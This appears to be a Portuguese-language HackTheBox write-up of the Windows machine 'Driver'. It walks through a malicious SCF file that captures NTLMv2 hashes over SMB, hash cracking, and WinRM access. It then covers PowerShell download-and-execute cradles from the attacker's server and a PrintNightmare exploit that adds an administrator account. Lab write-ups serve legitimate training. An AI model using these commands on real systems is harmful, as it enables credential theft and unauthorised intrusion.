> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md).

# Relato do HackTheBox Driver

{% embed url="<https://app.hackthebox.com/machines/387>" %}

{% hint style="warning" %}
**Habilidades:**

* Adivinhação de senha
* Arquivo SCF malicioso
* Escalada de privilégios locais do Spooler de Impressão (PrintNightmare) (CVE-2021-1675]
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/ce9b9ed9e6fa8a400f65064042f9a022b088a8c2" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/bd1197bc847b688033bc2c2512feaa7b93957379" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:** Explorando portas abertas e exportando no arquivo "allPorts" no diretório do Nmap:

```bash
nmap --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.106 -oG allPorts
```

<figure><img src="/files/03105a24c9cddf0625175440c143936c0e9677d6" alt=""><figcaption></figcaption></figure>

**Análise das portas abertas com extractport:**

Usando a função extractport para exibir portas abertas de forma concisa e copiá-las para a área de transferência.

<figure><img src="/files/b643805c7f1d1acde8c34ec6170a9ec509f2d269" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão das portas com Nmap:** Usando o Nmap para varrer a versão das portas e extrair informações no arquivo "targeted":

```bash
nmap -sCV -p80,135,445 -oN targeted
```

<figure><img src="/files/209161e80403c7c68dcd01ec607867110b4331ae" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo:

<figure><img src="/files/3123cb6b998af18ad43fd9d11a9d8d73add58b22" alt="" width="563"><figcaption></figcaption></figure>

### Análise da Porta 80:

A porta 80 hospeda um servidor web com um painel de conexão.

<figure><img src="/files/5f3326134d13d814ea6e3f1690c028cecdcdb06e" alt=""><figcaption></figcaption></figure>

Analisando com **WhatWeb** identifica um nome de usuário padrão: `admin`.

<figure><img src="/files/0c0bbe7c38e3ffa1b6314def8a6d294dda591da6" alt=""><figcaption></figcaption></figure>

Tentativa de conexão com `admin:admin` como identificador.

### Centro de atualização de firmware do MFP:

<figure><img src="/files/d61490c3e4b74af4ca05ac0daecf99cb859514da" alt=""><figcaption></figcaption></figure>

O site oferece uma opção de download de firmware. A mensagem indica:

> Selecione o modelo da impressora e baixe a atualização de firmware correspondente em nosso compartilhamento de arquivos. Nossa equipe de testes revisará os downloads manualmente e iniciará os testes em breve.

<figure><img src="/files/b5047a0b0d245469f15c4df78cd9481065983e1d" alt=""><figcaption></figcaption></figure>

## Explotação - Arquivo SCF malicioso :

Criando um `.scf` arquivo malicioso para capturar o NTLMv2 de um usuário quando ele o abre:

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop
```

Escutando com **impacket** para capturar NTLMv2:

```bash
impacket-smbserver smbFolder $(pwd) -smb2support
```

Capturar o hash NTLMv2 do usuário `tony`.

<figure><img src="/files/9ba9ecada5fd3bae240c55ea8bb8a14c9d01a253" alt=""><figcaption></figcaption></figure>

Quebrar o hash NTLM com **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`tony:liltony`

<figure><img src="/files/69863f4d3c10b9093a4d7d8d2d703e5246ce0705" alt=""><figcaption></figcaption></figure>

## Conexão SMB e WinRM:

**Verificação de acesso** com CrackMapExec:

```bash
crackmapexec smb 10.10.10.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/4806a4a6344156de5b5298646a7a60129a4b04b5" alt=""><figcaption></figcaption></figure>

/*/* WinRM/*/* conexão com CrackMapExec:

```bash
crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/0c108462f7af508d67d28c0b6dbbbcb3b052c812" alt=""><figcaption></figcaption></figure>

**Assuma o controle com Evil-WinRM**:

```bash
evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'
```

<figure><img src="/files/e2b44600c5cb8fe449a516d7eb13738d6ee056d9" alt=""><figcaption></figcaption></figure>

### Flag user.txt:

<figure><img src="/files/e2b44600c5cb8fe449a516d7eb13738d6ee056d9" alt=""><figcaption></figcaption></figure>

## Elevação de privilégios :

### **1. Enumeração com PowerUp:**

* Baixando o **script PowerUp.ps1** na máquina de ataque e adicionando o `comando Invoke-AllChecks` no final para iniciar todas as verificações.

{% embed url="<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/dev/Privesc/PowerUp.ps1>" %}

Transferindo o script para a máquina vítima via servidor HTTP Python:

```bash
python3 -m http.server 80
```

Execução na máquina-alvo:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PowerUp.ps1')
```

> **Resultado**: Nenhum item relevante encontrado.

<figure><img src="/files/8b05f9d3c0ed080c22f9ee0c03ba5c6602f42b42" alt=""><figcaption></figcaption></figure>

### **2. Enumeração com winPEAS:**

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20241101-6f46e855>" %}

Transferência da ferramenta **winPEASx64.exe** para a máquina vítima:

`upload winPEASx64.exe`

<figure><img src="/files/3f5799dee8731b845ac6d7ae122db0aa18fc32d9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/88565cc0900ccf267365970baca2b43c6707a4cc" alt=""><figcaption></figcaption></figure>

## **Explotação do PrintNightmare (CVE-2021-1675)**

Um **processo spoolsv** vulnerável é detectado, escutando em uma porta TCP.

<figure><img src="/files/5778bd09b241886c505cde0277ed257d85153160" alt=""><figcaption></figcaption></figure>

Usando um script de exploit para PrintNightmare, disponível no GitHub.

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/9231743bb332c7a9ec6b0b4664bd97d8b8afb82c" alt=""><figcaption></figcaption></figure>

Aqui estão os comandos para executar:

1. **Transferência do script** para evitar bloqueio pelo Windows Defender:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

2. **Criação de um usuário administrador** chamado `jordan`:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "jordan" -NewPassword "jordan1234!$" 
```

<figure><img src="/files/2efa1fe91a136e474b42c305c0dd33175f5aaf74" alt=""><figcaption></figcaption></figure>

`jordan:jordan1234!$`

> **Status**: `jordan` o usuário agora está no grupo de administradores.

<figure><img src="/files/6652ee2ca3b9881d5ac9544693a889300743af04" alt=""><figcaption></figcaption></figure>

### Conexão com privilégios de administrador

Conexão com a máquina via WinRM com **Evil-WinRM**:

```powershell
evil-winrm -i 10.10.11.106 -u 'jordan' -p 'jordan1234!$'
```

<figure><img src="/files/51c693fc18fab3a344cd0aa8f671deacf0db9e07" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="/files/8ea01a7f7c4ef3250a75569b52e8eb74f53d7eba" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dfa64d596f8b3e80ee001728007b80ec17bf6c9b" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
